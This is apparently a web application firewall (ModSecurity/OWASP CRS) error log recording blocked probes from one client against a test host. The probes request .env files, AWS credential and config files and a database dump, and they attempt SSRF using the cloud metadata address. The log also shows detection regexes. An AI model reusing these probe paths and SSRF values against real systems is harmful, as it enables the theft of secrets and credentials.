[Tue Aug 05 11:03:42.533269 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPu9wAAAAY&quot;]
[Tue Aug 05 11:03:42.533439 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPu9wAAAAY&quot;]
[Tue Aug 05 11:03:42.595595 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Pattern match &quot;^(?i:file|ftps?|https?):\\\\/\\\\/(?:\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})&quot; at ARGS:target. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf&quot;] [line &quot;54&quot;] [id &quot;931100&quot;] [msg &quot;Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address&quot;] [data &quot;Matched Data: http://169.254.169.254 found within ARGS:target: http://169.254.169.254/latest/meta-data/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/RFI&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPu-gAAAAY&quot;]
[Tue Aug 05 11:03:42.595967 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPu-gAAAAY&quot;]
[Tue Aug 05 11:03:42.596140 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPu-gAAAAY&quot;]
[Tue Aug 05 11:03:42.616222 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPu-wAAAAY&quot;]
[Tue Aug 05 11:03:42.616395 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPu-wAAAAY&quot;]
[Tue Aug 05 11:03:42.616535 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPu-wAAAAY&quot;]
[Tue Aug 05 11:03:42.636684 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/db.sql&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPu_AAAAAY&quot;]
[Tue Aug 05 11:03:42.636961 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/db.sql&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPu_AAAAAY&quot;]
[Tue Aug 05 11:03:42.637115 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/db.sql&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPu_AAAAAY&quot;]
[Tue Aug 05 11:03:42.855482 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /development/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPu_wAAAAY&quot;]
[Tue Aug 05 11:03:42.855680 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPu_wAAAAY&quot;]
[Tue Aug 05 11:03:42.855845 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPu_wAAAAY&quot;]
[Tue Aug 05 11:03:42.875895 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPvAAAAAAY&quot;]
[Tue Aug 05 11:03:42.876103 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPvAAAAAAY&quot;]
[Tue Aug 05 11:03:42.876255 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPvAAAAAAY&quot;]
[Tue Aug 05 11:03:42.896243 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPvAQAAAAY&quot;]
[Tue Aug 05 11:03:42.896433 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPvAQAAAAY&quot;]
[Tue Aug 05 11:03:42.896601 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPvAQAAAAY&quot;]
[Tue Aug 05 11:03:43.030781 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aJHI7zoY6lxTouuFksPvBwAAAAY&quot;]
[Tue Aug 05 11:03:43.030954 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aJHI7zoY6lxTouuFksPvBwAAAAY&quot;]
[Tue Aug 05 11:03:43.031109 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aJHI7zoY6lxTouuFksPvBwAAAAY&quot;]
[Tue Aug 05 11:03:43.082535 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /hidden/.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hidden/.aws/config&quot;] [unique_id &quot;aJHI7zoY6lxTouuFksPvCQAAAAY&quot;]
[Tue Aug 05 11:03:43.082732 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hidden/.aws/config&quot;] [unique_id &quot;aJHI7zoY6lxTouuFksPvCQAAAAY&quot;]
[Tue Aug 05 11:03:43.082885 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hidden/.aws/config&quot;] [unique_id &quot;aJHI7zoY6lxTouuFksPvCQAAAAY&quot;]
[Tue Aug 05 11:03:43.102931 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /hidden/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hidden/.aws/credentials&quot;] [unique_id &quot;aJHI7zoY6lxTouuFksPvCgAAAAY&quot;]
[Tue Aug 05 11:03:43.103122 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hidden/.aws/credentials&quot;] [unique_id &quot;aJHI7zoY6lxTouuFksPvCgAAAAY&quot;]
[Tue Aug 05 11:03:43.103283 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hidden/.aws/credentials&quot;] [unique_id &quot;aJHI7zoY6lxTouuFksPvCgAAAAY&quot;]
[Tue Aug 05 11:03:43.123306 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /hidden/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hidden/.env&quot;] [unique_id &quot;aJHI7zoY6lxTouuFksPvCwAAAAY&quot;]
[Tue Aug 05 11:03:43.123486 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hidden/.env&quot;] [unique_id &quot;aJHI7zoY6lxTouuFksPvCwAAAAY&quot;]
[Tue Aug 05 11:03:43.123643 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hidden/.env&quot;] [unique_id &quot;aJHI7zoY6lxTouuFksPvCwAAAAY&quot;]
[Tue Aug 05 11:03:43.271127 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Pattern match &quot;^(?i:file|ftps?|https?):\\\\/\\\\/(?:\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})&quot; at ARGS:url. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf&quot;] [line &quot;54&quot;] [id &quot;931100&quot;] [msg &quot;Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address&quot;] [data &quot;Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/RFI&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/internal/admin&quot;] [unique_id 